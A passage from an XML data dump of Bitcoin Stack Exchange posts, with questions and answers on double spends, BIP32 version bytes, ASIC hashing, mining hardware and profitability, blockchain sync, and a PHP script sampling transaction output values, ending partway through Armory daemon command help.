Tags="|hash|sha256|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35400" PostTypeId="1" AcceptedAnswerId="35402" CreationDate="2015-01-09T18:28:17.377" Score="5" ViewCount="419" Body="&lt;p&gt;Does the node drop both transactions? Does the node choose which one to keep? What exactly happens? Will both transactions be rejected by the network or will one of them be eventually accepted?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="5406" LastEditDate="2015-01-09T20:02:28.187" LastActivityDate="2015-01-09T20:02:28.187" Title="What exactly happens when a node detects a double spend?" Tags="|doublespend|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35401" PostTypeId="2" ParentId="35399" CreationDate="2015-01-09T18:59:06.757" Score="2" Body="&lt;p&gt;What do you mean by &quot;really long&quot;? If it's bigger than (2^64-1)/8 bytes (~2,097,152 terabytes) then it's not going to work anyway because this is the theoretical limit of SHA256 and on top of that it would take a huge amount of time to complete, but then again I am not aware of many computers that can hold such great amounts of data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For significantly smaller inputs it all comes down on the way the ASIC's SHA256 engine is implemented, what is the size of message (input) block in bits, how much memory is available per core in your SHA256 ASIC, etc. As per market standard, these cores are usually equipped with 128 kilobytes of memory. Of course nothing stops you from deploying external units of DRAM memory chips across memory-bus enabled ASICs but this will fire back in processing speed anyway.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2015-01-09T19:05:09.833" LastActivityDate="2015-01-09T19:05:09.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35402" PostTypeId="2" ParentId="35400" CreationDate="2015-01-09T19:04:13.363" Score="6" Body="&lt;p&gt;When a node hears about a new transaction, they try to accept it to their in-memory pool of transactions. If a node hears about a transaction that conflicts with one of the transactions that is already in their mem-pool, then they simply won't accept it to their mem-pool. The default client also won't forward the transaction on to any other nodes, either. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The node drops the two transactions? The node choose one to keep?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, essentially, if a node sees a double spend (two transactions trying to spend the same output) they keep the transaction that they saw first.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Both transactions will be rejected by the network or one of them will be eventually accepted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming they pay the standard fee to get confirmed, a miner would likely include whichever transaction they saw first. So, if more miners see one transaction, it is more likely that one will get confirmed. It's possible miners will solve two blocks at the same time, with conflicting spends of a previous output. In the long run, though, only one spend of an output will stay in the main chain.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-09T19:32:32.557" LastActivityDate="2015-01-09T19:32:32.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35403" PostTypeId="1" CreationDate="2015-01-09T19:30:08.353" Score="3" ViewCount="2477" Body="&lt;p&gt;I'm looking at creating a deterministic wallet for some of the less popular altcoins. Bitcoin has a magic byte of '0488b21e' and litecoin '019da462'. How are these determined or calculated? Also how would I generate these values for other altcoins?&lt;/p&gt;&#xA;" OwnerUserId="22818" LastEditorUserId="2306" LastEditDate="2015-01-09T19:56:15.370" LastActivityDate="2015-01-09T20:56:19.167" Title="How do you determine 'magic byte' or version for alt coins?" Tags="|altcoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35404" PostTypeId="2" ParentId="35403" CreationDate="2015-01-09T20:29:17.780" Score="3" Body="&lt;p&gt;&lt;code&gt;0x0488B21E&lt;/code&gt; is the extended public key prefix / version bytes (as &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#serialization-format&quot; rel=&quot;nofollow&quot;&gt;described in BIP32&lt;/a&gt;) and stands for &lt;code&gt;xpub&lt;/code&gt;. In the same manner, &lt;code&gt;0x019DA462&lt;/code&gt; stands for &lt;code&gt;Ltub&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoin and litecoin these codes are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Network             Extended private    Version bytes        Extended public    Version bytes&#xA;                    key prefix                               key prefix&#xA;---------------------------------------------------------------------------------------------         &#xA;Bitcoin main        xprv                0x0488ADE4           xpub               0x0488B21E&#xA;Bitcoin testnet     tprv                0x04358394           tpub               0x043587CF&#xA;Litecoin main       Ltpv                0x019D9CFE           Ltub               0x019DA462     &#xA;Litecoin testnet    ttpv                0x0436EF7D           ttub               0x0436F6E1     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2015-01-09T20:56:19.167" LastActivityDate="2015-01-09T20:56:19.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35406" PostTypeId="2" ParentId="35399" CreationDate="2015-01-09T22:26:58.330" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are Bitcoin ASICs Optimized for Fixed Length Messages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It would really surprise me if they weren't. If you can make your cores 10% smaller by reducing the amount of memory available, then it's a no-brainer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But say I have a file on my computer that is considerably longer (10,000x longer). Could I hash it with a SHA256 bitcoin ASIC?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In theory, it might be possible, but there's no point to it. Before the ASIC can hash your 800 KB file, it needs to be transferred to the ASIC. That's not so bad if the ASIC has a USB or Ethernet driver, but many don't; it's cheaper to use serial and buy a serial-to-USB converter from FTDI. These interfaces generally top out at 192 kilobaud, so it would take about 33 seconds to transfer the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, most ASICs support a &quot;midstate,&quot; which represents the internal state of the hash function partway through the input. The practical upshot of this is that you could hash the first 800 KB of the file with your CPU, then use your ASIC to vary the last 4 bytes of the file to search for a nonce below the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I want to note that none of these ASICs are calculating SHA256. They're calculating SHA256d.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-09T22:26:58.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35407" PostTypeId="1" CreationDate="2015-01-09T23:24:39.557" Score="3" ViewCount="422" Body="&lt;p&gt;One of the loops on my Spondoolies SP20 is misbehaving. I underclocked everything but this loop (number 4) does not seem to care what settings I make. It seems to be running at twice the speed (and wattage) at times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JPQaA.png&quot; alt=&quot;loopiscrazy&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transcription:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Asic Stats&#xA;&#xA;&#xA;Uptime:502 | FPGA ver:100 &#xA;-----BOARD-0-----&#xA;PSU[UNKNOWN]: 0-&amp;gt;120w[120 120 120] (-&amp;gt;120w[120 120 120]) (lim=120) 0c cooling:0/0x0&#xA;-----BOARD-1-----&#xA;PSU[UNKNOWN]: 0-&amp;gt;120,[120 120 120] (-&amp;gt;120w(120 120 120]) (lim=120) 0c cooling:0/0x0&#xA;-----BOARD-2-----&#xA;PSU[UNKNOWN]: 0-&amp;gt;121w(121 121 121] (-&amp;gt;121w(121 121 121]) (lim=120) 0c cooling:0/0x0&#xA;-----BOARD-3-----&#xA;PSU[UNKNOWN]: 0-&amp;gt;194w[193 193 194] (-&amp;gt;194w(193 193 194]) (lim=120) 0c cooling:0/0x0&#xA;LOOP(0) ON&#xA; 0: DC2DC/1/:[vlt1:605 vlt2:610(DC1:794 T1:794 U1:727) 46W  76A 41c] ASIC:( 85c (125c) 670hz(BL: 670) 17 (E:192) F:8]&#xA; 1: DC2DC/1/:[vlt1:605 vlt2:610(0C1:794 T1:794 U1:727) 44W  72A 48c] ASIC:[ 85c (125c) 645hz(BL: 645) 15 (E:192) F:0] &#xA;LOOP[1] ON&#xA; 2: DC2DC/1/:(vlt1:593 vlt2:597(DC1:794 T1:794 U1:727) 43W  73A 53c] ASIC:[ 85c (125c) 640hz(BL: 640)  9 (E:193) F:0]&#xA; 3: DC2DC/1/:(vlt1:593 vlt2:597(DC1:794 T1:794 U1:727) 47W  79A 56C] ASIC:[ 85c (125c) 675hz(BL: 675) 17 (E:192) F:8]&#xA;LOOP[2] ON&#xA; 4: DC2DC/1/:(vlt1:599 vlt2:605(DC1:794 T1:794 U1:727) 45W  75A 41c] ASIC:[ 85c (225c) 660hz(BL: 660) 18 (E:193) F:0]&#xA; 5: DC2DC/1/:(vlt1:601 vlt2:605(DC1:794 T1:794 U1:727) 46W  76A 52c] ASIC:[ 85c (225c) 675hz(BL: 675) 15 (E:193) F:0]&#xA;LOOP[3] ON&#xA; 6: DC2DC/1/:(vlt1:654 vlt2:658(DC1:794 T1:794 U1:727) 74W 113A 68c] ASIC:[ 85c (125c) 895hz(BL: 895) 30 (E:192) F:0]&#xA; 7: DC2DC/1/:[vlt1:654 vlt2:658(DC1:794 T1:794 U1:727) 75W 114A 77c] ASIC:[100c (125c) 905hz(BL: 905) 23 (E:193) F:0]&#xA;&#xA;[H:HW:1112GH,W:423,L:0,A:8,MMtmp:0 TMP:(28)=&amp;gt;=&amp;gt;=&amp;gt;(49,64)]&#xA;Pushed 28 jobs , in NW queue 4 jobs (sw:0, hw:0)!&#xA;min:14 wins:144[this/last min:6/18] bist-fail:253, hw-err:1&#xA;leading-zeroes:42 idle promils[s/m]:0/0, rate:1258gh/s asic-count:80 (wins:3+3)&#xA;Fan:70, conseq:200&#xA;AC2DC BAD: 0 0&#xA;R/NR: 487/0&#xA;RTF asics: 0&#xA;FET: 0:9 1:9&#xA; 0 restarted      0 reset          0 reset2         0 fake_wins&#xA; 0 stuck_bist     0 low_power      0 stuck_pll      0 runtime_dsble&#xA; 0 purge_queue    0 read_timeouts  0 dc2dc_i2c       0 read_tmout2   0 read_crptn&#xA; 0 purge_queue3   0 bad_idle &#xA; 0 err_murata &#xA;Adapter queues: rsp=2, req=20 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I have found out how to get rid of the problem: Setting the start volt 0.05 below max. voltage on all loops seems to have made it more stable and the problem vanished... I still don´t know how it came about but at least I found a workaround :)&lt;/p&gt;&#xA;" OwnerUserId="22847" LastEditorUserId="2306" LastEditDate="2017-04-25T19:56:35.193" LastActivityDate="2017-04-25T19:56:35.193" Title="What could be the reason for one loop being significantly more power hungry on an SP20?" Tags="|mining-hardware|asic|cgminer|mining-setup|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35408" PostTypeId="1" AcceptedAnswerId="35409" CreationDate="2015-01-10T10:35:16.557" Score="1" ViewCount="9232" Body="&lt;p&gt;A Radeon HD 7950 has the following hash rates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Around 600 MH/s for Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Around 600 KH/s for Litecoin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I used the profitability calculator at &lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinwisdom&lt;/a&gt; to estimate revenue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin: 0.06148 USD / Month  &lt;/li&gt;&#xA;&lt;li&gt;Litecoin: 0.6661 USD / Month&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Less than 1 dollar per month? Is it because of the specialized mining hardware?&lt;/p&gt;&#xA;" OwnerUserId="22850" LastEditorUserId="5406" LastEditDate="2017-05-01T01:08:15.330" LastActivityDate="2017-05-01T01:08:15.330" Title="Can you make a profit mining with CPU/GPU?" Tags="|bitcoind|litecoin|mining-profitability|" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-10T11:08:16.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="35409" PostTypeId="2" ParentId="35408" CreationDate="2015-01-10T11:03:59.207" Score="2" Body="&lt;p&gt;&lt;strong&gt;No you are not missing anything. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/59/5406&quot;&gt;CPU mining has been unprofitable since 2011&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5608/5406&quot;&gt;GPU mining just slightly later&lt;/a&gt;.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12042/5406&quot;&gt;ASICs&lt;/a&gt; rule mining. The Bitcoin network has more than &lt;a href=&quot;https://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow noreferrer&quot;&gt;300 Phash/s&lt;/a&gt; by now, that is 300,000,000,000 Mhash/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upcoming ASIC miner generation is &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;announced to provide more than 9,000 Mhash/s per Dollar&lt;/a&gt;. Times for GPU/CPU mining are long gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation is largely the same for Litecoin with a slight delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2154/5406&quot;&gt;Why does mining profitability tend towards zero?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be some altcoins that can still profitably CPU/GPU mined and traded for Bitcoin thereafter, but I am not sure even they are worth when you factor in time investment.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-01-10T11:23:01.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35410" PostTypeId="1" CreationDate="2015-01-10T13:54:11.243" Score="5" ViewCount="1965" Body="&lt;p&gt;So I downloaded and installed BitCoin Core X64 v0.9.3 from &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/download&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then downloaded the linked bootstrap.dat torrent and after it downloaded the bootstrap.dat, I moved it into the root of the Bitcoin program folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started the program, and here I am, about 20 hours later and its still synchronizing with network... I've got about 4 weeks left to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed in my Bitcoin program folder, my bootstrap.dat file has now been renamed to bootstrap.dat.old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just curious if this in normal for the time it's taking to sync a downloaded bootstrap file. Not to mention running my CPU at 70% the entire time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PC is an AMD 8-core with 16GB RAM, and internet with 50mbps down and 25mbps up speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="22851" LastEditorUserId="5406" LastEditDate="2015-01-11T14:16:46.667" LastActivityDate="2015-01-11T14:37:43.087" Title="How come importing the bootstrap.dat to Bitcoin Core takes so long?" Tags="|synchronization|bootstrap.dat|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35411" PostTypeId="2" ParentId="366" CreationDate="2015-01-10T16:26:13.327" Score="-2" Body="&lt;p&gt;Nothing need be done technically.  Just economics.  Supply and demand.  Government has infinite resources.  With unlimited use of the money supply, make the system so volatile as to loose favor with the Bitcoin network.  Corner the market, then crash it for instance.  &lt;/p&gt;&#xA;" OwnerUserId="22852" LastActivityDate="2015-01-10T16:26:13.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35412" PostTypeId="1" CreationDate="2015-01-10T18:05:38.963" Score="3" ViewCount="1253" Body="&lt;p&gt;When you create a wallet, it creates one bitcoin address, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I send funds, it sends all my funds; the person I sent it to gets what I sent, and the change from the transaction is sent to a second address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that last one is true, why does the change get sent to a second address? Why not send it to the original? Wouldn't it be so much simpler if the change was sent back to one address, and you only had that one address?&lt;/p&gt;&#xA;" OwnerUserId="21665" LastEditorUserId="2306" LastEditDate="2015-01-11T02:30:24.593" LastActivityDate="2019-03-12T18:14:29.133" Title="Why does Bitcoin use separate change addresses?" Tags="|wallet|change|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35413" PostTypeId="2" ParentId="35410" CreationDate="2015-01-10T18:46:07.220" Score="2" Body="&lt;p&gt;When you bootstrap the database of your Bitcoin Core, the &lt;code&gt;bootstrap.dat&lt;/code&gt; contains all the data necessary to build the database, but your computer will still build the database from ground up, verifying each and every transaction of each block. So, compared to the regular synchronization you just save the downloading of individual blocks. Once the &lt;code&gt;bootstrap.dat&lt;/code&gt; is renamed to &lt;code&gt;bootstrap.dat.old&lt;/code&gt; it has been completely imported and can be safely deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in your case, the &lt;code&gt;bootstrap.dat&lt;/code&gt; was probably a few weeks old, and your computer is getting the remaining blocks through regular synchronization. It will download one block, verify all content, update the database, and repeat, until the it has caught up to the current state of the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the whole process the bottleneck is usually the CPU, as it's mostly computation, or the harddisk i/o. The necessary download speed is much less than 50mb/s, though it is quicker in total if all data is already available on the computer. It is common for this process to take hours to days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Jannes and David pointed out in the comments, synchronization performance will generally be improved with the upcoming 0.10 version due to the introduction of &lt;strong&gt;headers-first synchronization&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-01-11T14:37:43.087" LastActivityDate="2015-01-11T14:37:43.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35414" PostTypeId="2" ParentId="30793" CreationDate="2015-01-10T21:05:05.210" Score="3" Body="&lt;p&gt;I haven't read any papers trying to analyze the amount of unspent outputs. More often, people are interested in the distribution of address' balances. This could be interesting because it reflects how evenly distributed bitcoin is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find this article: &lt;a href=&quot;http://www.coindesk.com/what-block-chain-analysis-tells-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.coindesk.com/what-block-chain-analysis-tells-bitcoin/&lt;/a&gt;, which seems like it might be of interest to you and is related to the distribution of UTXOs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you call &lt;code&gt;gettxoutsetinfo&lt;/code&gt; with the Bitcoin Core RPC calls, it tells some basic info about the UTXO set. I just did this and got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;height&quot; : 338396,&#xA;    &quot;bestblock&quot; : &quot;000000000000000009f32437cb28d54ff600ec020778c8ce84ecf93b99d5218c&quot;,&#xA;    &quot;transactions&quot; : 4525842,&#xA;    &quot;txouts&quot; : 16217914,&#xA;    &quot;bytes_serialized&quot; : 566046691,&#xA;    &quot;hash_serialized&quot; : &quot;1ad2172e4d37ce21291c116580f5b527e4c302b9c2ce4e88a91c0c00f748fb8d&quot;,&#xA;    &quot;total_amount&quot; : 13709764.78496462&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems that the average amount of an UTXO is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;13709764.78496462 / 16217914 = 0.84534699&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To analyze the amount of outputs (note, this is not &lt;em&gt;only&lt;/em&gt; UTXOs), I wrote up this quick script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;require_once 'jsonRPCClient.php';&#xA;&#xA;$bitcoin = new jsonRPCClient('http://{username}:{password}@127.0.0.1:8332/');&#xA;&#xA;$info = $bitcoin-&amp;gt;getinfo();&#xA;&#xA;$height = $info['blocks'];&#xA;$numTrials = 1000;&#xA;$includeCoinbase = false;&#xA;&#xA;&#xA;$cutoffs = array();&#xA;&#xA;for ($i = 0; $i &amp;lt; 10; $i++) { $cutoffs[] = $i; }&#xA;for ($i = 1; $i &amp;lt; 10; $i++) { $cutoffs[] = 10*$i; }&#xA;for ($i = 1; $i &amp;lt; 10; $i++) { $cutoffs[] = 100*$i; }&#xA;for ($i = 1; $i &amp;lt; 10; $i++) { $cutoffs[] = 1000*$i; }&#xA;&#xA;function GetRange($value) &#xA;{&#xA;    global $cutoffs;&#xA;    for ($i = 0; $i &amp;lt; count($cutoffs)-1; $i++)&#xA;    {&#xA;        if ($cutoffs[$i] &amp;lt;= $value &amp;amp;&amp;amp; $value &amp;lt; $cutoffs[$i+1])&#xA;            return $cutoffs[$i] . &quot; - &quot; . $cutoffs[$i+1];&#xA;    }&#xA;    return $cutoffs[count($cutoffs)-1] . &quot; - ...&quot;;&#xA;}&#xA;&#xA;$sum = 0;&#xA;$distribution = array();&#xA;&#xA;for ($i = 0; $i &amp;lt; $numTrials; $i++) &#xA;{&#xA;&#xA;    $blockhash = $bitcoin-&amp;gt;getblockhash(rand(1, $height));&#xA;    $block = $bitcoin-&amp;gt;getblock($blockhash);&#xA;&#xA;    $randTxIndex = rand(0, count($block['tx'])-1);&#xA;&#xA;    if ($randTxIndex == 0 &amp;amp;&amp;amp; !$includeCoinbase) {&#xA;        $i--;&#xA;        continue;&#xA;    }&#xA;&#xA;    $randTxHash = $block['tx'][$randTxIndex];&#xA;&#xA;    $randTx = $bitcoin-&amp;gt;getrawtransaction($randTxHash, 1);&#xA;&#xA;    $numOutputs = count($randTx['vout']);&#xA;    $randOutput = $randTx['vout'][rand(0, $numOutputs-1)];&#xA;&#xA;    $value = $randOutput['value'];&#xA;&#xA;    $sum += $value;&#xA;    $distribution[GetRange($value)] += 1;&#xA;}&#xA;&#xA;echo (json_encode($distribution, JSON_PRETTY_PRINT) . &quot;\n&quot;);&#xA;echo &quot;average: &quot; . ($sum / $numTrials) . &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the results are (after being cleaned up a little):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;average: 89.55518291596&#xA;&#xA;START   END     COUNT&#xA;0       1       636&#xA;1       2       73&#xA;2       3       18&#xA;3       4       20&#xA;4       5       14&#xA;5       6       11&#xA;6       7       8&#xA;7       8       8&#xA;8       9       11&#xA;9       10      12&#xA;10      20      36&#xA;20      30      26&#xA;30      40      15&#xA;40      50      16&#xA;50      60      29&#xA;60      70      5&#xA;70      80      5&#xA;80      90      4&#xA;90      100     3&#xA;100     200     29&#xA;200     300     4&#xA;300     400     4&#xA;400     500     1&#xA;500     600     1&#xA;600     700     1&#xA;700     800     1&#xA;800     900     3&#xA;900     1000    0&#xA;1000    2000    2&#xA;2000    3000    1&#xA;3000    4000    0&#xA;4000    5000    0&#xA;5000    6000    1&#xA;6000    7000    0&#xA;7000    8000    0&#xA;8000    9000    0&#xA;9000    ...     2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, when plotted, gives:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B9vPs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since the 0-1 outputs make the rest go out of scale, this is a plot without the smallest outputs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/11dyy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-10T21:05:05.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35416" PostTypeId="1" CreationDate="2015-01-11T01:24:17.130" Score="5" ViewCount="1199" Body="&lt;p&gt;I know that in the case of electrum there is a gap limit and it will keep generating addresses until it finds a number of consecutive empty addresses equal to the gap limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about if I want to recover my wallet using my seed offline, suppose that electrum servers are not working and I want to recover my wallet. How can electrum know when to stop generating addresses noting that it has no access to the blockchain since the servers are down.&lt;/p&gt;&#xA;" OwnerUserId="21793" LastActivityDate="2022-03-12T11:23:47.377" Title="How to recover a deterministic wallet offline?" Tags="|wallet|electrum|deterministic-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35418" PostTypeId="2" ParentId="17032" CreationDate="2015-01-11T04:17:33.123" Score="2" Body="&lt;p&gt;In your install directory, you should have armoryd.py.  Once you run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python armoryd.py &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you have a daemon.  Now you can run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python armoryd.py help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get a list of commands like this (which can then be run with &lt;code&gt;python armoryd.py &amp;lt;command&amp;gt;&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;backupwallet&quot;: {&#xA;    &quot;Description&quot;: &quot;Back up the current wallet to a file at a given location. The backup will occur only if the file does not exist yet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;backupFilePath - Path to the location where the backup will be saved.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary indicating whether or not the backup succeeded or failed, with the reason for failure given if applicable.&quot;&#xA;},&#xA;&quot;clearaddressmetadata&quot;: {&#xA;    &quot;Description&quot;: &quot;Clear all armoryd-specific metadata for the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;None&quot;&#xA;},&#xA;&quot;createlockbox&quot;: {&#xA;    &quot;Description&quot;: &quot;Create an m-of-n lockbox associated with wallets loaded onto the armoryd server.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;numM - The number of signatures required to spend lockbox funds.&quot;,&#xA;        &quot;numN - The total number of signatures associated with a lockbox.&quot;,&#xA;        &quot;args - The wallets or public keys associated with a lockbox, the total of which must match &amp;lt;numN&amp;gt; in number. The wallets are represented by their Base58 IDs. The keys must be uncompressed.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with information about the new lockbox.&quot;&#xA;},&#xA;&quot;createustxformany&quot;: {&#xA;    &quot;Description&quot;: &quot;Create an unsigned transaction to be sent to multiple recipients from the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;args - An indefinite number of comma-separated sets of recipients and the number of Bitcoins to send to the recipients. The recipients can be an address, a P2SH script address, a lockbox (e.g., \&quot;Lockbox[83jcAqz9]\&quot; or \&quot;Lockbox[Bare:83jcAqz9]\&quot;), or a public key (compressed or uncompressed) string.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;An ASCII-formatted unsigned transaction, similar to the one output by Armory for offline signing.&quot;&#xA;},&#xA;&quot;createustxtoaddress&quot;: {&#xA;    &quot;Description&quot;: &quot;Create an unsigned transaction to be sent to one recipient from the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;recAddr - The recipient. This can be an address, a P2SH script address, a lockbox (e.g., \&quot;Lockbox[83jcAqz9]\&quot; or \&quot;Lockbox[Bare:83jcAqz9]\&quot;), or a public key (compressed or uncompressed) string.&quot;,&#xA;        &quot;amount - The number of Bitcoins to send to the recipient.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;An ASCII-formatted unsigned transaction, similar to the one output by Armory for offline signing.&quot;&#xA;},&#xA;&quot;decoderawtransaction&quot;: {&#xA;    &quot;Description&quot;: &quot;Decode a raw transaction hex string.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;hexString - A string representing, in hex form, a raw transaction.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary containing the decoded transaction's information.&quot;&#xA;},&#xA;&quot;dumpprivkey&quot;: {&#xA;    &quot;Description&quot;: &quot;Dump the private key for a given Base58 address associated with the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;addr58 - A Base58 public address associated with the current wallet.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;The 32 byte binary private key.&quot;&#xA;},&#xA;&quot;encryptwallet&quot;: {&#xA;    &quot;Description&quot;: &quot;Encrypt a wallet with a given passphrase.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;passphrase - The wallet's new passphrase.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A string indicating that the encryption was 